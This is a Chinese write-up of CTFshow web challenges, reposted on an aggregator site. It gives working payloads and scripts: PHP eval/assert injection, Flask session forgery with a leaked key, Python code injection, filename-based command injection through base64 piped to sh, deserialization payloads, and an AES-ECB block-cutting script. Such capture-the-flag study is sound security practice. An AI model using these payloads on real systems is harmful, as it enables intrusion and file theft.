CTFSHOW菜狗杯 web

news2025/4/6 11:56:01

文章目录

    • web签到
    • web2 c0me_t0_s1gn
    • 我的眼里只有$
    • 抽老婆
    • 一言既出
    • 驷马难追
    • TapTapTap
    • Webshell
    • 化零为整
    • 无一幸免
    • 传说之下(雾)
    • 算力超群
    • 算力升级
    • 2
    • 遍地飘零
    • 茶歇区
    • 小舔田?
    • LSB探姬
    • Is_Not_Obfuscate
    • 龙珠NFT

web签到

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

简单的解释下这个嵌套

加入cookie中传入CTFshow-QQ群:=a那么就会出现$_POST['a'],假如post传入的值为a=b,那么就会得到$_GET['b'],接着假如get传入b=c就会得到$_REQUEST['c']
$_REQUEST就get、post都可以接收啦。
加入再get传入c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。
但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了
c[6][0][7][5][8][0][9][4][4]=system('cat /f*');

请添加图片描述

web2 c0me_t0_s1gn

注释里面有一半flag
在这里插入图片描述
然后控制台运行g1ve_flag()得另一半flag
在这里插入图片描述

我的眼里只有$

又是群主出的题,不得不说群主老大出的题真的是花里胡哨😁

extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);

可以看到就是个变量覆盖然后再无限套娃。
假设我们post传入_=a那么$_=a,如果在post传入a=b那么$$_=b
以此类推传入一定数量的参数就可以了,最后一个的值是我们要传入eval的代码。
不过这$属实是有点多,还是写个脚本吧

import string
s = string.ascii_letters 
t='_=a&'
code="phpinfo();"
for i in range(35):
    t+=s[i]+"="+s[i+1]+'&'

t+=s[i]+'='+code
print(t)

抽老婆

下载页面存在文件读取。
随便读个文件,报错页面可以看出是python flask写的了。
在这里插入图片描述
读下源码试试file=../../app.py
有secret_keyapp.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
后面还在session里面存在判断
在这里插入图片描述
session伪造没跑了,直接跑脚本https://github.com/noraj/flask-session-cookie-manager
先解密下看看结构
在这里插入图片描述
伪造下这个参数应该就可以了

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': 'c1c437b721d6dcc27ccf4cb8412bd5b6.jpg', 'isadmin': True}"

在这里插入图片描述
然后拿着生成的session去访问secret_path_U_never_know即可拿到flag。

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

assert和eval差不多,里面可以执行php代码。那么闭合再注释就可以了。

?num=114514);//

驷马难追

增加了过滤没法闭合了,这也好办,我们可以运行加减乘除嘛。

?num=114514+1805296
加号需要编码下
?num=114514%2b1805296

TapTapTap

游戏题,直接找js代码。
看到可以的地方
在这里插入图片描述
直接base64解码得到Your flag is in /secret_path_you_do_not_know/secretfile.txt
访问该地址得到flag。

Webshell

非常简单的反序列化

<?php 
    class Webshell {
        public $cmd = 'cat /f*;cat f*';
    }
echo serialize(new Webshell);
?>

flag在源代码里面

化零为整

这道题也很有意思。
中文在php里面长度是3,其实很容易想到中文的url编码就是3个
比如的url编码就是%E5%A4%A7
所以这三个url编码字符拼接起来就是一个中文字符了
payload

1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

传个数组就可以了
?0[]=

传说之下(雾)

同样是游戏题,需要我们分数到2077才可以。
来个暴力点的方法,在js代码中找到和分数相关的变量。
在这里插入图片描述

可以猜到就是每次吃到一个得一分,我们把这个1直接改成2078。(改成2077还得再吃一个)
先开始比赛后暂停,找到下面的位置,把分数改掉。
在这里插入图片描述
在这里插入图片描述

然后ctrl+s保存下。
再随便吃一个死掉就可以拿到flag了。
在这里插入图片描述
flag在控制台里面
在这里插入图片描述

算力超群

一般碰到计算器就很容易和命令执行扯到一块。
随便计算下然后抓个包
在这里插入图片描述
_calculate?number1=&operator=&number2=966
有这么几个参数(number1、operator、number2)
输点乱七八糟的字符就可以看到报错信息了
在这里插入图片描述
经过测试对number1和operator有些过滤,但是number2没有。
payload

_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

算力升级

这个题感觉质量还是不错的。
是个python的代码执行,但是有些过滤。
在这里插入图片描述
如果是字母数字下划线(\w)需要是gmpy2库里的。剩下的字符顺便输。
可以本地看下gmpy2
在这里插入图片描述
这里面都是可以用的,这样一来的话基本就可以通过拼接构造出任意的字符了。

比如我们想执行eval可以这样来
gmpy2.__builtins__['eval']('xxx')
而其中的eval可以通过'invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]得到,其他的类似。
因为命令太长了,我也懒得弄,所以就通过request.args['1']获得。
最终payload

gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')

GET:
tiesuanzi?1=__import__('os').popen("cat /flag").read()

等价于
`gmpy2.__builtins__['eval']('eval(request.args["1"])')`

2

关键代码就一句
subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
其中cmd半可控,param可控 __file__是个固定值。
第一个参数作为命令,后面的都是该命令的参数
比如执行

`subprocess.run(['ls','/etc','/'])

就等价于ls /etc /
会同时列出/和/etc下的文件及文件夹
cat也是如此。
有一点要注意,不要看到request.form.get就以为是get传参,其实是接收的post参数
payload

cmd=ls&param=.
cmd=cat&param=flag.txt

遍地飘零

考察变量覆盖,最终只有一个地方可以输入var_dump($_GET);
所以我们就把要用的flag赋值给GET就好了
_GET=flag

茶歇区

这道题没搞懂咋回事,不过应该和溢出有关。
在这里插入图片描述
发送两次就可以了。
为啥不在a的位置,猜测可能是a单价是1,是没有进行乘法运算的。其他的也类似,不是1的应该都可以。

小舔田?

很入门的反序列化,直接上payload了。

<?php
class Moon{
    public $name;
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

}
$a = new Moon();
$b = new Ion_Fan_Princess();
$a->name=$b;
echo serialize($a);

LSB探姬

直接来看源码。
在这里插入图片描述
存在命令执行,并且cmd中有内容是可控的,是我们上传文件的文件名。
不过本地测试发现不出网,那么我们就把执行命令的结果写到静态文件里就好了。
需要注意的点就是传入的用户名中不能有/估计还有一些其他的字符。
所以还是用base64编码来执行把

import requests 
url="http://8516ca37-5457-4ae5-aae6-7800f08dc03f.challenge.ctf.show/"
files={"file":("123;echo 'Y2F0IGYqICA+IHN0YXRpYy9qcy9hbnNpX3VwLmpz'|base64 -d|sh","123","image/png")}
#cat f*  > static/js/ansi_up.js
requests.post(url+'upload',files=files)

r2 = requests.get(url+'static/js/ansi_up.js')
print(r2.text)

Is_Not_Obfuscate

很迷的一道题,全靠蒙。
在这里插入图片描述
通过源代码可以得知
1、存在robots.txt。
2、当action=test时会执行input的内容,不过经过了一个decode

访问下robots.txt,发现存在lib.php、plugins文件夹、还有一个flag参数
在这里插入图片描述
那很容易想到flag=1
在这里插入图片描述
内容如上。
刚才发现input传入的内容经过decode之后会进入eval,那么input的内容肯定是一段加密后的了。
这么看刚才出来的内容就像是需要的了。

input=类似于base64的东西&action=test

得到源码
在这里插入图片描述
存在一个代码执行的点和一个文件写入的点。
在这里插入图片描述
大概意思就是假如我们传入output=phpinfo()&action=push,则会生成一个文件,路径为plugins/md5值该md5值是可以本地计算得到了,就是我们代码后面拼接行youyou的md5。
内容是经过encode加密的。
然后如果在传入action=pull&input=刚才生成的文件路径就可以运行刚才的代码了。
payload

action=push&output=system('cat f*;cat /f*');
action=pull&input=41fbd06940c629af4cff4d809d386324     system('cat f*;cat /f*');youyou的md5 

龙珠NFT

感觉更多的像是密码学题。
简单的解释下源码各个路由的功能
/
提供注册功能,会将用户名的md5作为session存入。
radar
单纯的一个界面,什么用没有。
find_dragonball
如果是第一次访问,那么dragonball就是固定值1。
否则访问后产生一个随机数范围是1-1000
如果是在0-6之间,那么就把dragonball赋值为该数,否则就赋值为0。
并且每个用户都是只有十次机会。
get_dragonball
传入一个address,如果解密后的值中dragonball不为0,那么就会获得该星的龙珠。
flag
有1-7号的dragonball就拿到flag。

大致看下去基本是无解。
即使你想用暴力破解的方式。但是最大的问题是永远不可能获得数字7。
唯一可能有问题的地方就是加密方法了。
可以看到它使用的是AES中的ECB。
而ECB是分段加密的
在这里插入图片描述
明文按照16字节分成n块,通过加密器对每一块进行加密获得n个密文块。最后一块通常不够16字节需要按照一定的填充规则进行填充。
我们来看下要加密的内容
{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}
按16个分组后的结果

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": 
"1", "round_no":
 "9", "time":"2
 022-10-19 15:06
 :45"}

也就是说我们如果是同一个用户的话,前四段加密的结果是一样的。我们希望的是dragonball后面的数字是可控的。
这时候就需要脑洞打开了。
如果我们把第五行删掉会出现什么情况呢

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": 
 "9", "time":"2
 022-10-19 15:06
 :45"}

经过json解析后其实可以得到dragonball为9,而这个次数我们是可以控制的。也就可以控制生成的龙珠数了。

import requests
import base64
import re
from urllib.parse import *

url = 'http://ab901b43-8e6c-4049-b50c-d403a5db8524.challenge.ctf.show/'
sess = requests.Session()

sess.get(url+'?username=1')
for i in range(7):
    url1 = url + 'find_dragonball'
    r1 = sess.get(url1)
    a = r1.json()["address"]
    b = base64.b64decode(a.encode()).hex()

    c = b[:128]+b[160:]

    d = quote(base64.b64encode(bytes.fromhex(c)).decode())

    url2 = url + f'get_dragonball?address={d}'
    r2 = sess.get(url2)
    print(r2.text)
r3  = sess.get(url+'flag')
flag = re.findall('ctfshow{.*?}',r3.text)[0]
print(flag)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/5504.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ubuntu22.04虚拟机配置双网

文章目录Ubuntu22.04虚拟机配置双网一、 虚拟机网络1、 简介1.1 概述1.2 四种网络2、 配置双网2.1 NAT2.2 主机模式3、 添加到虚拟机二、 ubuntu设置Ubuntu22.04虚拟机配置双网 一、 虚拟机网络 1、 简介 1.1 概述 近期在使用VirtualBox的时候遇到这样的场景&#xff0c;我…

Docker(五)—— 镜像原理、容器快照commit

一、如何得到镜像 1&#xff09;从远程仓库下载 2&#xff09;朋友/同事拷贝给你 3&#xff09;自己制作DockerFile 二、联合文件系统 Docker的镜像是由一层层的文件系统组成&#xff0c;这种层级的文件系统叫做联合文件系统UnionFS。 三、Docker镜像加载原理 1. bootfs:…

第十四届蓝桥杯校内模拟赛第一期——Python

第十四届蓝桥杯校内模拟赛第一期——Python 文章目录第十四届蓝桥杯校内模拟赛第一期——Python1.二进制位数问题描述参考答案扩展2. 晨跑问题描述参考答案扩展3. 调和级数问题描述参考答案4. 山谷问题描述参考答案5. 最小矩阵问题描述参考答案6. 核酸日期问题描述输入格式输出…

redux与react-redux的学习笔记之react-redux

redux与react-redux前言一、redux和react-redux是啥&#xff1f;二、redux使用步骤1.引入库2.原理图原理图释义actions1&#xff09;含义2&#xff09;demostore.js1&#xff09;含义2&#xff09;demoreducer.js1&#xff09;含义2&#xff09;demoCount.jsx1&#xff09;含义…

2022年,我们为什么要学习C++?

“C已死” 大学时代&#xff0c;我就听过这样的说法——差不多十多年前的事儿了。那时候至少在美国&#xff0c;Java已经成了各公司的主流语言。程序员也许都很熟悉Joel Spolsky在2005年12月对JavaSchools发起的批驳。此外&#xff0c;作为微软应对Java的手段&#xff0c;2000…

Ubuntu环境配置(instant-ngp)

综合环境配置 这篇文章的综合配置我是在恒源云上配的&#xff0c;自己穷买不起机子&#xff0c;就只能租咯&#xff0c;这家价格还行&#xff0c;而且可以装VNC&#xff0c;非推广&#xff0c;只是感觉方便&#xff0c;请大家结合自身实际情况 数据上传 这里有几种方法&…

【免费】多种方法手把手教你如何将自己做的网页做成网络链接(直接访问)

目录 前言 ​一、github&#xff08;最常用的&#xff09; 二、七牛云&#xff08;推荐小白使用&#xff0c;简单粗暴&#xff09; 三、NATAPP 四、codepen&#xff08;建议学网页的人群使用&#xff09; 彩蛋 前言 http://t.csdn.cn/VaiP1我之前发的爱心代码&#xff0c;…

电脑突然开机无反应,怎么办

电脑常见故障之三开机无响应&#xff08;上&#xff09; 经常使用电脑的朋友应该会碰到这种情况&#xff0c;开机时按下电源按钮后&#xff0c;电脑无响应&#xff0c;显示器黑屏不亮。 除去那些傻瓜式的故障原因&#xff0c;如显示器、主机电源没插好&#xff1b;显示器与主…

手写小程序摇树优化工具(一)——依赖分析介绍

道可道&#xff0c;非常道&#xff1b;名可名&#xff0c;非常名&#xff1b;玄之又玄&#xff0c;众妙之门。 现在国内好像没有什么针对小程序代码的摇树优化方案&#xff0c;出现了很多超包的问题无法解决&#xff0c;本教程就手把手教大家如何编写一个完整的微信小程序摇树优…

深度学习零基础学习之路——第四章 UNet-Family中Unet、Unet++和Unet3+的简介

Python深度学习入门 第一章 Python深度学习入门之环境软件配置 第二章 Python深度学习入门之数据处理Dataset的使用 第三章 数据可视化TensorBoard和TochVision的使用 第四章 UNet-Family中Unet、Unet和Unet3的简介 Unet-Family的学习Python深度学习入门前言一、FCN全卷积网络…

【JavaSE】面向对象三大特性之多态

文章目录多态的概念向上转型重写之动态绑定与重载之静态绑定重写与重载的区别重写的注意事项总结不安全的向下转型多态的优点和注意事项优点缺点和注意事项多态的概念 多态可以理解为一个对象在某些时刻可以代表不同的对象&#xff0c;指的是对象的多种形态。所以在某些时刻&a…

CSDN第九次竞赛题解与总结

CSDN第九次竞赛题解与总结前言T1小艺读书题意分析T2鬼画符门之宗门大比题意分析代码别的方法T3硬币划分题意分析状态转移方程初始值代码T4饿龙咆哮-逃离城堡题意分析坑点代码写在最后前言 2022/11/12 我有幸参加了csdn第九次竞赛&#xff0c;终于拿了次满分&#xff0c;进了次…

Vuex④(多组件共享数据、Vuex模块化+namespace)

文章目录多组件共享数据代码实现Vuex模块化总结多组件共享数据 我们现在想实现这种情况&#xff1a; Person组件的总人数就是Person中列表的长度 br上的是Count组件&#xff0c;br下的是Person组件。 我们通过vuex中的state实现一些数据的多组件共享&#xff1a; 代码实现 …

第二章STP应用配置

目录 一 生成树 二 生成树算法 三 STP是什么 四 BPDU是什么 五 BPDU的概念 六 生成树基本配置 一 生成树 生成树算法的网桥协议STP(Spanning Tree Protocol) 它通过生成生成树保证一个已知的网桥在网络拓扑中沿一个环动态工作。网桥与其他网桥交换BPDU消息来监测环路&#xf…

使用 hugo oss 搭建个人博客网站

系列文章目录 文章目录系列文章目录前言一、下载hugo二、oss三、域名四、创建博客上传五、发布&#xff0c;上传文章前言 本文主要详解如何用最低的成本搭建个人博客网站 原本我是直接用的github搭建的博客网站&#xff0c;因为免费&#xff0c;但由于github访问很不稳定&…

Python——正则表达式的应用

文章目录前言正则表达式方法re.search方法group方法re.match方法re.findall方法re.finditer方法re.split方法re.sub方法正则表达式的应用前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 正则表达式是字符串处理的有力工具和技术。 使用正在表达式的目的…

多态(polymorphic)

目录 1. 多态的基本介绍 2. 多态实现条件 3. 重写 重写的介绍&#xff1a; 【重写和重载的区别】 动、静态绑定机制 5 向上转型和向下转型 向上转型 向上转型的特点&#xff08;总结&#xff09;&#xff1a; 向下转型 多态的优缺点 多态是Java三大基本特征中最抽象…

【数据结构初阶】数组栈和链式队列的实现

努力真的要贯穿人的一生吗&#xff1f; 你能活成你想要的样子吗&#xff1f; 真的不知道&#xff01; 文章目录一、栈的概念及结构二、栈的实现&#xff08;动态数组栈&#xff09;2.1 挑选实现栈的结构2.2 栈结构的定义2.3 初始化栈销毁栈2.4 入栈出栈2.5 判空取栈顶元素栈元…

Android Studio App开发之循环试图RecyclerView,布局管理器LayoutManager、动态更新循环视图讲解及实战(附源码)

运行有问题或需要全部源码请点赞关注收藏后评论区留言~~~ 一、循环视图RecyclerView 尽管ListView和GridView分别实现了多行单列和多行多列的列表&#xff0c;使用也很简单&#xff0c;可是它们缺少变化&#xff0c;风格也比较呆板&#xff0c;为此Android推出了更灵活多变的循…

CAS:1347750-20-2,NH2-PEG-SH,Amine-PEG-Thiol,氨基-聚乙二醇-巯基供应

1、名称 英文&#xff1a;NH2-PEG-SH&#xff0c;Amine-PEG-Thiol 中文&#xff1a;氨基-聚乙二醇-巯基 2、CAS编号&#xff1a;1347750-20-2 3、所属分类&#xff1a; Amine PEG Thiol PEG 4、分子量&#xff1a;可定制&#xff0c;5000、氨基-聚乙二醇 1000-巯基、1000、…